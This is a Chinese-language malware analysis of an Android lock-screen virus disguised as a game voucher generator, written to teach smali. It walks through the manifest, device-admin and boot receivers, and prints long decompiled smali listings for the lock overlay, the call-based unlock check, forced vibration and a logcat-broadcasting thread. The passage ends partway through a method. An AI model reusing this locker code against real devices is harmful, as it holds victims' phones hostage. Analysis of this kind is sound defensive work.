引言
本次分析的样本是一款比较简单的android锁屏病毒,通过设备管理器来进行锁屏功能,并利用开机广播和服务的结合实现开机锁屏,解锁方式通过电话拨入,对资源文件进行解密出字符串和来电电话进行匹配的方式进行解锁。我们主要是从者一款比较简单的病毒中熟悉一下smali语法。
文件简介
App应用名称: 红包强盗(后台版)md5: F3ADAADC7A8CB0D16A1AD05AADC8B1F2包名: com.cjk。
详细分析
第一步,直接先上模拟器,看看大概是个什么毒。从截图看出它想申请设备管理员权限,然后就弹出锁屏界面,一枚锁品病毒:
看看apk包内的文件,在res\raw
目录下发现四个可疑文本文件,内容是Cj09QU80TVRu
、Cj1rRE0xY3puMllqTTVuVE0=
这些有可能是加密过的字符串,还在res\drawable
目录下,发现下面这个qq二维码,也没什么so文件,也不会加固过。
主要从从AndroidManifest.xml文件中看四大组件,一般样本都会将恶意行为放在服务组件,需要重点关注。
<application android:debuggable="false" android:icon="@drawable/icon" android:label="王者荣耀点卷生成器" android:theme="@style/AppTheme">
<activity android:label="@string/app_name" android:name=".M">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="s" />
<receiver android:name="bbb">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<receiver android:description="@string/hello" android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
</application>
1)s
服务根据服务生命周期表可以知道,针对两种不同方式启动的服务,调用的方法是不同的,因为下面onbind方法并没有任何操作,如果要开启这个服务只会走startService方法,所以我们顺着onCreate->onStartCommand来看。
//onBind方法,参数为Intent类实例化的对象
.method public onBind(Intent)IBinder
//onBind方法方法中用到了6个寄存器
.registers 6
//注解,就是java中的@Override
.annotation runtime Override
.end annotation
// 将参数p0(this)赋值给变量v0
00000000 move-object v0, p0
//将参数p1(传入的Intent类型参数)赋值给变量v1
00000002 move-object v1, p1
00000004 const/4 v3, 0
//检查v3是否可以转化成IBinder类
00000006 check-cast v3, IBinder
0000000A move-object v0, v3
//返回一个null对象
0000000C return-object v0
.end method
在看oncreate之前,在他的构造方法中,可以看见有几个敏感的数据,QQ号
,暱称
,并且将这串字符串进行静态方法MD5Util->getMD5String的处理,下面主要看看这个处理过程。
.method public constructor <init>()V
.registers 5
00000000 move-object v0, p0
00000002 move-object v2, v0
//直接调用Service的构造方法super(),(这种调用不存在被覆盖,编译时静态确认)
00000004 invoke-direct Service-><init>()V, v2
0000000A move-object v2, v0
0000000C const-string v3, "by:彼岸花 qq:127****738"
//将v3的字符串存放在v2中,并且v2=s->bahk:String(this.bahk)
00000010 iput-object v3, v2, s->bahk:String
//使用this清空v2,v3
00000014 move-object v2, v0
00000016 move-object v3, v0
//获取s->bahk:String的值放入v3,然后让s->bahk:String指向v3
00000018 iget-object v3, v3, s->bahk:String
//调用静态方法(不需要对象,所以少一个参数),看名称应该是获取md5字符串
0000001C invoke-static MD5Util->getMD5String(String)String, v3
00000022 move-result-object v3
//最后让经过处理的字符串v3放入this.Lycorisradiata
00000024 iput-object v3, v2, s->Lycorisradiata:String
00000028 return-void
.end method
处理函数getMD5String,它将字符串by:彼岸花 qq:127****738
,先进行了md5摘要计算,得到一个第一次加密过的字节数组,然后在new一个长度是其2倍的char型数组,接着第一次加密过的字节数组的每一个字节经过2次加密,生成不同的字符,填入到new出来的char型数组中,最终将其转化成字符串返回。
.method public static final getMD5String(String)String
.registers 19
//静态方法,没有引用对象,所以p0=参数String
00000000 move-object/from16 v0, p0
//v12 = char[16] 创建16长度的char型数组,将其赋给v12
00000004 const/16 v12, 0x0010
00000008 new-array v12, v12, [C
//将EC指向的2字节长度的char数据填入数组
0000000C fill-array-data v12, :EC
//v2 = char[16] ,v12=this,将数组赋给v2,用this清空v12
00000012 move-object v2, v12 # v2 = charArray1 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}
00000014 move-object v12, v0
:16
//v12.getBytes()将字符串转化成字节数组,调用虚方法,也就是v12是被引用的对象
//然后使用MD5信息摘要算法对这个字节数组进行计算,将hash值在00000040地址赋给v12
00000016 invoke-virtual String->getBytes()[B, v12
0000001C move-result-object v12
0000001E move-object v3, v12
00000020 const-string v12, "MD5"
00000024 invoke-static MessageDigest->getInstance(String)MessageDigest, v12
0000002A move-result-object v12
//因为v12(信息摘要对象)在00000032 位置做被引用的参数对象,所以将其赋给v4来接收update方法更改后的摘要对象
0000002C move-object v4, v12
0000002E move-object v12, v4
00000030 move-object v13, v3
00000032 invoke-virtual MessageDigest->update([B)V, v12, v13
00000038 move-object v12, v4
0000003A invoke-virtual MessageDigest->digest()[B, v12
00000040 move-result-object v12
00000042 move-object v5, v12 # v5 = md5ByteArray 字节数组类型的信息摘要
00000044 move-object v12, v5
//带有信息摘要的字节数组长度赋给v12,然后将这个长度乘以2,利用这个长度再实例化一个char型数组给v7
00000046 array-length v12, v12
00000048 move v6, v12
0000004A move v12, v6 # v6 = len_of_md5ByteArray
0000004C const/4 v13, 2
0000004E mul-int/lit8 v12, v12, 2
00000052 new-array v12, v12, [C
00000056 move-object v7, v12 # v7 = charArray2 = new char[2 * len_of_md5ByteArray]
00000058 const/4 v12, 0
0000005A move v8, v12 # v8 = 0
0000005C const/4 v12, 0
0000005E move v9, v12
:60
//v12=v9=0,v13=v6=md5字节数组的长度
//如果v12<v13跳转到:84,紧跟着下面有个goto :60跳转回来,构成了一个for循环
00000060 move v12, v9
00000062 move v13, v6
00000064 if-lt v12, v13, :84 # for(int v9=0; v9<v6; v9++)
:68
00000068 new-instance v12, String # v12 = v17 = new String()
0000006C move-object/from16 v17, v12
00000070 move-object/from16 v12, v17
00000074 move-object/from16 v13, v17
00000078 move-object v14, v7
0000007A invoke-direct String-><init>([C)V, v13, v14 # v12 = v13 = new String(charArray2)
00000080 move-object v0, v12
:82
00000082 return-object v0
:84
00000084 move-object v12, v5
00000086 move v13, v9
00000088 aget-byte v12, v12, v13
0000008C move v10, v12 # v10 = md5ByteArray[v9]
0000008E move-object v12, v7 # v12 = v7 = charArray2
00000090 move v13, v8 # v13 = v8
00000092 add-int/lit8 v8, v8, 1 # ++v8
00000096 move-object v14, v2 # v2 = charArray1
00000098 move v15, v10
0000009A const/16 v16, 4
0000009E ushr-int/lit8 v15, v15, 4
000000A2 const/16 v16, 15
000000A6 and-int/lit8 v15, v15, 15
000000AA aget-char v14, v14, v15
000000AE aput-char v14, v12, v13 # charArray2[v13] = charArray1[md5ByteArray[v9] >> 4 & 15]
000000B2 move-object v12, v7
000000B4 move v13, v8 # v13 = v8
000000B6 add-int/lit8 v8, v8, 1 # ++v8
000000BA move-object v14, v2
000000BC move v15, v10
000000BE const/16 v16, 15
000000C2 and-int/lit8 v15, v15, 15
000000C6 aget-char v14, v14, v15
000000CA aput-char v14, v12, v13 # charArray2[v13] = charArray1[md5ByteArray[v9] & 15]
:CE
000000CE add-int/lit8 v9, v9, 1
000000D2 goto :60
:D4
000000D4 move-exception v12
000000D6 move-object v3, v12
000000D8 move-object v12, v3
000000DA invoke-virtual Exception->printStackTrace()V, v12
000000E0 const/4 v12, 0
000000E2 check-cast v12, String
000000E6 move-object v0, v12
000000E8 goto :82
.catch Exception {:16 .. :CE} :D4
:EC
000000EC .array-data 2 x 0x10
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x41
0x42
0x43
0x44
0x45
0x46
.end array-data
.end method
这里将注释集合起来,大概是这样的加密过程,这里主要是大致预览加密逻辑。
charArray1 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}
string = "by:彼岸花 qq:1279525738";
byte[] v3 = string.getBytes();
MessageDigest v4 = MessageDigest.getInstance("MD5");
v4.update(v3);
byte[] v5 = md5ByteArray = v4.digest() //字节数组类型的信息摘要
v6 = md5ByteArray.length()
v7 = charArray2 = new char[2 * v6]
for(int v9=0; v9<v6; v9++){
v10 = md5ByteArray[v9]
v12 = v7 = charArray2
v13 = v8
++v8
v2 = charArray1
//对单个字节的第一次加密
v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] >> 4 & 15]
v13 = v8
++v8
//对单个字节的第二次加密
v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] & 15]
}
v12 = new String(charArray2)
return v12
然后接着分析s
服务的oncreate方法,先打印日志并通过Intent使用广播发送出去,让包名为com.aide.ui
的接收,这里动态注册了一个监听接收短信、电话状态的广播,如果有电话拨进来,会将来电电话号码和经过字符串处理的hm资源文件里的字符串进行比较,如果相等就结束前台呼叫、移除newone布局,设置铃声静音,停止服务s
(很明显是解锁方法),如果不相等则会拦截下这条广播。然后又用bah.java
、8e6762e8737463a957dc390bff4eb8e8
两个字符串生成对应的DES加密、解密对象,还有实例化一个by:彼岸花 qq:1279525738.xml
存储文件的编辑器对象,但是都没有后面的操作,最后执行了重复手机震动操作,每过0.1s震动1.5s。
.method public onCreate()V
.registers 15
.annotation system Signature
value = {
"()V"
}
.end annotation
.annotation runtime Override
.end annotation
00000000 move-object v0, p0 # v0 = this
00000002 move-object v7, v0
00000004 const-string v8, "com.aide.ui"
00000008 invoke-static ADRTLogCatReader->onContext(Context, String)V, v7, v8 # ADRTLogCatReader.onContext(this, "com.aide.ui")
0000000E move-object v7, v0
00000010 invoke-super Service->onCreate()V, v7 # this.Service.onCreate()
00000016 move-object v7, v0
00000018 new-instance v8, s$IncomingCallReceiver # 实例化一个IncomingCallReceiver对象
0000001C move-object v13, v8
0000001E move-object v8, v13
00000020 move-object v9, v13
00000022 move-object v10, v0
00000024 invoke-direct s$IncomingCallReceiver-><init>(s)V, v9, v10 # 调用incomingCallReceiver的构造方法进行初始化: new IncomingCallReceiver(this)
0000002A iput-object v8, v7, s->mReceiver:s$IncomingCallReceiver # this.mReceiver = incomingCallReceiver
0000002E new-instance v7, IntentFilter
00000032 move-object v13, v7
00000034 move-object v7, v13
00000036 move-object v8, v13
00000038 invoke-direct IntentFilter-><init>()V, v8 # IntentFilter intentfilter = new IntentFilter()
0000003E move-object v2, v7
00000040 move-object v7, v2
00000042 const-string v8, "android.intent.action.PHONE_STATE"
00000046 invoke-virtual IntentFilter->addAction(String)V, v7, v8
0000004C move-object v7, v2
0000004E const-string v8, "android.provider.Telephony.SMS_RECEIVED"
00000052 invoke-virtual IntentFilter->addAction(String)V, v7, v8
00000058 move-object v7, v0
0000005A move-object v8, v0
0000005C iget-object v8, v8, s->mReceiver:s$IncomingCallReceiver
00000060 move-object v9, v2
00000062 invoke-virtual s->registerReceiver(BroadcastReceiver, IntentFilter)Intent, v7, v8, v9 # this.registerReceiver(this.mReceiver, intentfilter)
00000068 move-result-object v7
0000006A move-object v7, v0
0000006C move-object v8, v0
0000006E const-string v9, "audio"
00000072 invoke-virtual s->getSystemService(String)Object, v8, v9
00000078 move-result-object v8
0000007A check-cast v8, AudioManager
0000007E iput-object v8, v7, s->mAudioManager:AudioManager # this.mAudioManager = this.getSystemService("audio")
00000082 move-object v7, v0
00000084 const-string v8, "phone"
00000088 invoke-virtual s->getSystemService(String)Object, v7, v8
0000008E move-result-object v7
00000090 check-cast v7, TelephonyManager
00000094 move-object v3, v7
:96
00000096 const-string v7, "android.telephony.TelephonyManager"
0000009A invoke-static Class->forName(String)Class, v7
:A0
000000A0 move-result-object v7
:A2
000000A2 const-string v8, "getITelephony"
000000A6 const/4 v9, 0
000000A8 check-cast v9, [Class
000000AC invoke-virtual Class->getDeclaredMethod(String, [Class)Method, v7, v8, v9 # Method v4 = Class.forName("android.telephony.TelephonyManager").getDeclaredMethod("getITelephony", 0)
000000B2 move-result-object v7
000000B4 move-object v4, v7
000000B6 move-object v7, v4
000000B8 const/4 v8, 1
000000BA invoke-virtual Method->setAccessible(Z)V, v7, v8 # v4.setAccessible(1)关闭安全检查
000000C0 move-object v7, v0
000000C2 move-object v8, v4
000000C4 move-object v9, v3
000000C6 const/4 v10, 0
000000C8 check-cast v10, [Object
000000CC invoke-virtual Method->invoke(Object, [Object)Object, v8, v9, v10 # v4.invoke(telephoneManager, 0)
000000D2 move-result-object v8
000000D4 check-cast v8, ITelephony
000000D8 iput-object v8, v7, s->iTelephony:ITelephony # this.iTelephony = v4.invoke(telephoneManager, 0)
:DC
000000DC move-object v7, v0
000000DE new-instance v8, DU
000000E2 move-object v13, v8
000000E4 move-object v8, v13
000000E6 move-object v9, v13
000000E8 const-string v10, "bah.java"
000000EC invoke-direct DU-><init>(String)V, v9, v10
000000F2 iput-object v8, v7, s->des:DU # s.des = new DU("bah.java")
000000F6 move-object v7, v0
:F8
000000F8 new-instance v8, DU
000000FC move-object v13, v8
000000FE move-object v8, v13
00000100 move-object v9, v13
00000102 move-object v10, v0
00000104 iget-object v10, v10, s->des:DU
00000108 const-string v11, "8e6762e8737463a957dc390bff4eb8e8"
0000010C invoke-virtual DU->decrypt(String)String, v10, v11
00000112 move-result-object v10
00000114 invoke-direct DU-><init>(String)V, v9, v10
0000011A iput-object v8, v7, s->des:DU # s.des = new DU(s.des.decrypt("8e6762e8737463a957dc390bff4eb8e8"))
:11E
0000011E move-object v7, v0
00000120 move-object v8, v0
00000122 move-object v9, v0
00000124 iget-object v9, v9, s->bahk:String
00000128 const/4 v10, 0
0000012A invoke-virtual s->getSharedPreferences(String, I)SharedPreferences, v8, v9, v10
00000130 move-result-object v8
00000132 iput-object v8, v7, s->share:SharedPreferences # this.share = this.getSharedPreferences("by:彼岸花 qq:1279525738", 0)
00000136 move-object v7, v0
00000138 move-object v8, v0
0000013A iget-object v8, v8, s->share:SharedPreferences
0000013E invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v8
00000144 move-result-object v8
00000146 iput-object v8, v7, s->editor:SharedPreferences$Editor # this.editor = this.share.edit()
0000014A move-object v7, v0
0000014C invoke-virtual s->getApplication()Application, v7
00000152 move-result-object v7
00000154 const-string v8, "vibrator"
00000158 invoke-virtual Application->getSystemService(String)Object, v7, v8 # this.getApplication().getSystemService("vibrator")
0000015E move-result-object v7
00000160 check-cast v7, Vibrator
00000164 move-object v4, v7
00000166 move-object v7, v4
00000168 const/4 v8, 4
0000016A new-array v8, v8, [J # long[] longArray = new long[4]
0000016E move-object v13, v8
00000170 move-object v8, v13
00000172 move-object v9, v13
00000174 const/4 v10, 0
00000176 const/16 v11, 100 # (long)100
0000017A int-to-long v11, v11
0000017C aput-wide v11, v9, v10 # longArray[0] = (long)100
00000180 move-object v13, v8
00000182 move-object v8, v13
00000184 move-object v9, v13
00000186 const/4 v10, 1
00000188 const/16 v11, 1500
0000018C int-to-long v11, v11
0000018E aput-wide v11, v9, v10
00000192 move-object v13, v8
00000194 move-object v8, v13
00000196 move-object v9, v13
00000198 const/4 v10, 2
0000019A const/16 v11, 100
0000019E int-to-long v11, v11
000001A0 aput-wide v11, v9, v10
000001A4 move-object v13, v8
000001A6 move-object v8, v13
000001A8 move-object v9, v13
000001AA const/4 v10, 3
000001AC const/16 v11, 1500
000001B0 int-to-long v11, v11
000001B2 aput-wide v11, v9, v10 # longArray = new long[]{(long)100, (long)1500, (long)100, (long)1500}
000001B6 const/4 v9, 0
000001B8 invoke-virtual Vibrator->vibrate([J, I)V, v7, v8, v9 # this.getApplication().getSystemService("vibrator").vibrate(longArray, 0)
000001BE return-void
:1C0
000001C0 move-exception v7
000001C2 move-object v5, v7
:1C4
000001C4 new-instance v7, NoClassDefFoundError
000001C8 move-object v13, v7
000001CA move-object v7, v13
000001CC move-object v8, v13
000001CE move-object v9, v5
000001D0 invoke-virtual Throwable->getMessage()String, v9
000001D6 move-result-object v9
000001D8 invoke-direct NoClassDefFoundError-><init>(String)V, v8, v9
000001DE throw v7
:1E0
000001E0 move-exception v7
000001E2 move-object v4, v7
000001E4 goto/16 :DC
:1E8
000001E8 move-exception v7
000001EA move-object v4, v7
000001EC goto :11E
.catch ClassNotFoundException {:96 .. :A0} :1C0
.catch Exception {:96 .. :A0} :1E0
.catch Exception {:A2 .. :DC} :1E0
.catch Exception {:F8 .. :11E} :1E8
.catch Exception {:1C4 .. :1E0} :1E01
.end method
ADRTLogCatReader.onContext方法调用onContext静态方法,检查本引用是否可以调试,如果不可以则该方法返回为空,如果可以调试,先初始化ADRTSender的一些静态属性,然后开启一个线程,执行logcat -v threadtime
打印日志,然后每次读取20个字符,并且每次读取一行,将其作为数据参数放入intent里,通过广播发送出去,指定接收包名是"com.aide.ui",action是"com.adrt.LOGCAT_ENTRIES"。
.method public static onContext(Context, String)V
.registers 12
00000000 move-object v0, p0
00000002 move-object v1, p1
00000004 sget-object v5, ADRTLogCatReader->context:Context # v5 = ADRTLogCatReader.context
00000008 if-eqz v5, :E # if ADRTLogCatReader.context == null{return null;}这个方法onContext只能调用一次
:C
0000000C return-void
:E
0000000E move-object v5, v0
00000010 invoke-virtual Context->getApplicationContext()Context, v5
00000016 move-result-object v5
00000018 sput-object v5, ADRTLogCatReader->context:Context # ADRTLogCatReader.context = this.getApplicationContext()
0000001C const/4 v5, 0
0000001E move-object v6, v0
00000020 invoke-virtual Context->getApplicationInfo()ApplicationInfo, v6
00000026 move-result-object v6
00000028 iget v6, v6, ApplicationInfo->flags:I
0000002C const/4 v7, 2
0000002E and-int/lit8 v6, v6, 2
00000032 if-eq v5, v6, :42 # if(this.ApplicationInfo.flag & 2 == 0){return null;}检查应用是否允许调试
:36
00000036 const/4 v5, 1
:38
00000038 move v2, v5
0000003A move v5, v2
0000003C if-nez v5, :46
:40
00000040 goto :C
:42
00000042 const/4 v5, 0
00000044 goto :38
:46
00000046 move-object v5, v0
:48
00000048 invoke-virtual Context->getPackageManager()PackageManager, v5
0000004E move-result-object v5
00000050 move-object v3, v5
00000052 move-object v5, v3
00000054 move-object v6, v1
00000056 const/16 v7, 0x0080
0000005A invoke-virtual PackageManager->getPackageInfo(String, I)PackageInfo, v5, v6, v7 # this.getPackageManager().getPackageInfo("com.aide.ui", 0x0080)
# 这里获取"com.aide.ui"包应用的META信息,但是后面没有再调用了这个的数据
:60
00000060 move-result-object v5
00000062 move-object v4, v5
00000064 sget-object v5, ADRTLogCatReader->context:Context
00000068 move-object v6, v1
0000006A invoke-static ADRTSender->onContext(Context, String)V, v5, v6 # ADRTSender.onContext(ADRTLogCatReader.context, "com.aide.ui")
00000070 new-instance v5, Thread # Thread thread;
00000074 move-object v9, v5
00000076 move-object v5, v9
00000078 move-object v6, v9
0000007A new-instance v7, ADRTLogCatReader # ADRTLogCatReader aDRTLogCatReader;
0000007E move-object v9, v7
00000080 move-object v7, v9
00000082 move-object v8, v9
00000084 invoke-direct ADRTLogCatReader-><init>()V, v8 # aDRTLogCatReader = new ADRTLogCatReader()
0000008A const-string v8, "LogCat"
0000008E invoke-direct Thread-><init>(Runnable, String)V, v6, v7, v8 # thread(aDRTLogCatReader, "LogCat")
00000094 move-object v3, v5
00000096 move-object v5, v3
00000098 invoke-virtual Thread->start()V, v5 # thread(aDRTLogCatReader, "LogCat").start()
0000009E goto :C
:A0
000000A0 move-exception v5
000000A2 move-object v3, v5
000000A4 goto :C
.catch PackageManager$NameNotFoundException {:48 .. :60} :A0
.end method
.method public run()V
.registers 11
00000000 move-object v0, p0
:2
00000002 invoke-static Runtime->getRuntime()Runtime
00000008 move-result-object v4
0000000A const-string v5, "logcat -v threadtime"
0000000E invoke-virtual Runtime->exec(String)Process, v4, v5 # Process pc = Runtime.getRuntime().exec("logcat -v threadtime")
00000014 move-result-object v4
00000016 move-object v1, v4
00000018 new-instance v4, BufferedReader # BufferedReader br;
0000001C move-object v9, v4
0000001E move-object v4, v9
00000020 move-object v5, v9
00000022 new-instance v6, InputStreamReader # InputStreamReader is;
00000026 move-object v9, v6
00000028 move-object v6, v9
0000002A move-object v7, v9
0000002C move-object v8, v1
0000002E invoke-virtual Process->getInputStream()InputStream, v8 # pc.getInputStream()
00000034 move-result-object v8
00000036 invoke-direct InputStreamReader-><init>(InputStream)V, v7, v8 # is = new InputStreamReader(pc.getInputStream)
0000003C const/16 v7, 20
00000040 invoke-direct BufferedReader-><init>(Reader, I)V, v5, v6, v7 # br = new BufferedReader(new InputStreamReader(pc.getInputStream), 20)
00000046 move-object v2, v4
00000048 const-string v4, ""
0000004C move-object v3, v4
:4E
0000004E move-object v4, v2
00000050 invoke-virtual BufferedReader->readLine()String, v4 # br.readLine()
00000056 move-result-object v4
00000058 move-object v9, v4
0000005A move-object v4, v9
0000005C move-object v5, v9
0000005E move-object v3, v5
00000060 if-eqz v4, :80
:64
00000064 const/4 v4, 1
00000066 new-array v4, v4, [String # String[] st = new String[1];
0000006A move-object v9, v4
0000006C move-object v4, v9
0000006E move-object v5, v9
00000070 const/4 v6, 0
00000072 move-object v7, v3
00000074 aput-object v7, v5, v6 # st[0] = br.readLine()
00000078 invoke-static ADRTSender->sendLogcatLines([String)V, v4 # ADRTSender.sendLogcatLines(st)
:7E
0000007E goto :4E
:80
00000080 return-void
:82
00000082 move-exception v4
00000084 move-object v1, v4
00000086 goto :80
.catch IOException {:2 .. :7E} :82
.end method
接着分析:onstart方法(android-15之后就被onStartCommand代替了)主要执行了方法c
,主要是将处理好的字符串附加到layout/newone.xml
文件内的几个TextView控件上。
0000000C invoke-super Service->onStart(Intent, I)V, v4, v5, v6 # this.super(v1, v2)
00000012 move-object v4, v0
00000014 invoke-direct s->c()V, v4 # this.c()
.method private c()V
.registers 21
.annotation system Signature
value = {
"()V"
}
.end annotation
00000000 move-object/from16 v1, p0
00000004 move-object v15, v1
00000006 new-instance v16, WindowManager$LayoutParams
0000000A move-object/from16 v19, v16
0000000E move-object/from16 v16, v19
00000012 move-object/from16 v17, v19
00000016 invoke-direct/range WindowManager$LayoutParams-><init>()V, v17 .. v17
0000001C move-object/from16 v0, v16
00000020 iput-object v0, v15, s->wmParams:WindowManager$LayoutParams # this.wmParams = new WindowManager$LayoutParams()
00000024 move-object v15, v1
00000026 move-object/from16 v16, v1
0000002A invoke-virtual/range s->getApplication()Application, v16 .. v16
00000030 move-result-object v16
00000032 move-object/from16 v17, v1
00000036 invoke-virtual/range s->getApplication()Application, v17 .. v17
0000003C move-result-object v17
0000003E sget-object v17, Context->WINDOW_SERVICE:String
00000042 invoke-virtual/range Application->getSystemService(String)Object, v16 .. v17
00000048 move-result-object v16
0000004A check-cast v16, WindowManager
0000004E move-object/from16 v0, v16
00000052 iput-object v0, v15, s->mWindowManager:WindowManager # mWindowManager = this.getApplication().getsystemService(CONTEXT.WINDOW_SERVICE)
00000056 move-object v15, v1
00000058 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams # this.wmParams
0000005C const/16 v16, 2010
00000060 move/from16 v0, v16
00000064 iput v0, v15, WindowManager$LayoutParams->type:I # this.wmParams.type = 2010
00000068 move-object v15, v1
0000006A iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
0000006E const/16 v16, 1
00000072 move/from16 v0, v16
00000076 iput v0, v15, WindowManager$LayoutParams->format:I # this.wmParams.format = 1
0000007A move-object v15, v1
0000007C iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
00000080 const/16 v16, 0x0500
00000084 move/from16 v0, v16
00000088 iput v0, v15, WindowManager$LayoutParams->flags:I # this.wmParams.flags = 0x0500
0000008C move-object v15, v1
0000008E iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
00000092 const/16 v16, 49
00000096 move/from16 v0, v16
0000009A iput v0, v15, WindowManager$LayoutParams->gravity:I # this.wmParams.gravity = 49
0000009E move-object v15, v1
000000A0 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
000000A4 const/16 v16, 0
000000A8 move/from16 v0, v16
000000AC iput v0, v15, WindowManager$LayoutParams->x:I # this.wmParams.x = 0
000000B0 move-object v15, v1
000000B2 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
000000B6 const/16 v16, 0
000000BA move/from16 v0, v16
000000BE iput v0, v15, WindowManager$LayoutParams->y:I # this.wmParams.y = 0
000000C2 move-object v15, v1
000000C4 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
000000C8 const/16 v16, -0x0001
000000CC move/from16 v0, v16
000000D0 iput v0, v15, ViewGroup$LayoutParams->width:I # this.wmParams.width=0x0001
000000D4 move-object v15, v1
000000D6 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
000000DA const/16 v16, -0x0001
000000DE move/from16 v0, v16
000000E2 iput v0, v15, ViewGroup$LayoutParams->height:I # this.wmParams.height = -0x0001
000000E6 move-object v15, v1
000000E8 invoke-virtual s->getApplication()Application, v15
000000EE move-result-object v15
000000F0 invoke-static LayoutInflater->from(Context)LayoutInflater, v15
000000F6 move-result-object v15
000000F8 move-object v3, v15
000000FA move-object v15, v1
000000FC move-object/from16 v16, v3
00000100 const v17, 0x7F030001
00000106 const/16 v18, 0
0000010A check-cast v18, ViewGroup
0000010E invoke-virtual/range LayoutInflater->inflate(I, ViewGroup)View, v16 .. v18
00000114 move-result-object v16
00000116 move-object/from16 v0, v16
0000011A iput-object v0, v15, s->mFloatLayout:View # this.mFloatLayout = LayoutInflater.from(this.getApplication).inflate(0x7F030001, 0)
0000011E move-object v15, v1
00000120 iget-object v15, v15, s->mWindowManager:WindowManager
00000124 move-object/from16 v16, v1
00000128 move-object/from16 v0, v16
0000012C iget-object v0, v0, s->mFloatLayout:View
00000130 move-object/from16 v16, v0
00000134 move-object/from16 v17, v1
00000138 move-object/from16 v0, v17
0000013C iget-object v0, v0, s->wmParams:WindowManager$LayoutParams
00000140 move-object/from16 v17, v0
00000144 invoke-interface/range WindowManager->addView(View, ViewGroup$LayoutParams)V, v15 .. v17 # this.mWindowManager.addView(this.mFloatLayout, this.wmParams)
0000014A move-object v15, v1
0000014C move-object/from16 v16, v1
00000150 move-object/from16 v0, v16
00000154 iget-object v0, v0, s->mFloatLayout:View
00000158 move-object/from16 v16, v0
0000015C const/high16 v17, 0x7F0A0000
00000160 invoke-virtual/range View->findViewById(I)View, v16 .. v17
00000166 move-result-object v16
00000168 check-cast v16, TextView
0000016C move-object/from16 v0, v16
00000170 iput-object v0, v15, s->wb:TextView # this.wb = mFloatLayout.findViewById(0x7F0A0000)
00000174 move-object v15, v1
00000176 move-object/from16 v16, v1
0000017A move-object/from16 v0, v16
0000017E iget-object v0, v0, s->mFloatLayout:View
00000182 move-object/from16 v16, v0
00000186 const v17, 0x7F0A0001
0000018C invoke-virtual/range View->findViewById(I)View, v16 .. v17
00000192 move-result-object v16
00000194 check-cast v16, TextView
00000198 move-object/from16 v0, v16
0000019C iput-object v0, v15, s->bah:TextView
000001A0 move-object v15, v1
000001A2 move-object/from16 v16, v1
000001A6 move-object/from16 v0, v16
000001AA iget-object v0, v0, s->mFloatLayout:View
000001AE move-object/from16 v16, v0
000001B2 const v17, 0x7F0A0002
000001B8 invoke-virtual/range View->findViewById(I)View, v16 .. v17
000001BE move-result-object v16
000001C0 check-cast v16, TextView
000001C4 move-object/from16 v0, v16
000001C8 iput-object v0, v15, s->cjk:TextView
000001CC move-object v15, v1
000001CE move-object/from16 v16, v1
000001D2 move-object/from16 v0, v16
000001D6 iget-object v0, v0, s->mFloatLayout:View
000001DA move-object/from16 v16, v0
000001DE const v17, 0x7F0A0003
000001E4 invoke-virtual/range View->findViewById(I)View, v16 .. v17
000001EA move-result-object v16
000001EC check-cast v16, TextView
000001F0 move-object/from16 v0, v16
000001F4 iput-object v0, v15, s->tv:TextView
:1F8
000001F8 new-instance v15, StringBuffer
000001FC move-object/from16 v19, v15
00000200 move-object/from16 v15, v19
00000204 move-object/from16 v16, v19
00000208 invoke-direct/range StringBuffer-><init>()V, v16 .. v16 # stringbuffer = new StringBuffer()
0000020E move-object/from16 v16, v1
00000212 move-object/from16 v0, v16
00000216 iget-object v0, v0, s->Lycorisradiata:String # this.Lycorisradiata
0000021A move-object/from16 v16, v0
0000021E invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer.append(this.Lycorisradiata)
00000224 move-result-object v15
00000226 const-string v16, "626fcaf7df0278de9aff3aaca97a5b8c88fd66ed54f277cc91852adc95565ff06a5cfa22ea1bf0c0fae034132b8a4d212ba95bad14ad34cb812d751d9e47c41df05c9fffa333772bcd5089b13e5600c8fd9587ce8f403c4d5b8156d4d24c94bfd4ed91fb50e3c6a89f070393ab0a03f3"
0000022A invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer.append(v16)
00000230 move-result-object v15
00000232 invoke-virtual StringBuffer->toString()String, v15
00000238 move-result-object v15
0000023A move-object v4, v15
0000023C new-instance v15, StringBuffer
00000240 move-object/from16 v19, v15
00000244 move-object/from16 v15, v19
00000248 move-object/from16 v16, v19
0000024C invoke-direct/range StringBuffer-><init>()V, v16 .. v16 # stringbuffer2 = new StringBuffer()
00000252 move-object/from16 v16, v1
00000256 move-object/from16 v0, v16
0000025A iget-object v0, v0, s->Lycorisradiata:String
0000025E move-object/from16 v16, v0
00000262 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer2.append(this.Lycorisradiata)
00000268 move-result-object v15
0000026A const-string v16, "60ee210a612f306f774a08a5a865c657ead0311698369b26d95e1c6151b5ee326053086a53edd02dafd2ceff8b6797ceeb75bdd4821b3eb747f256bb22696f8854ba778baee912cbc74042d306579e70cf0965d9cb30c048"
0000026E invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer2.append(v16)
00000274 move-result-object v15
00000276 invoke-virtual StringBuffer->toString()String, v15
0000027C move-result-object v15
0000027E move-object v5, v15
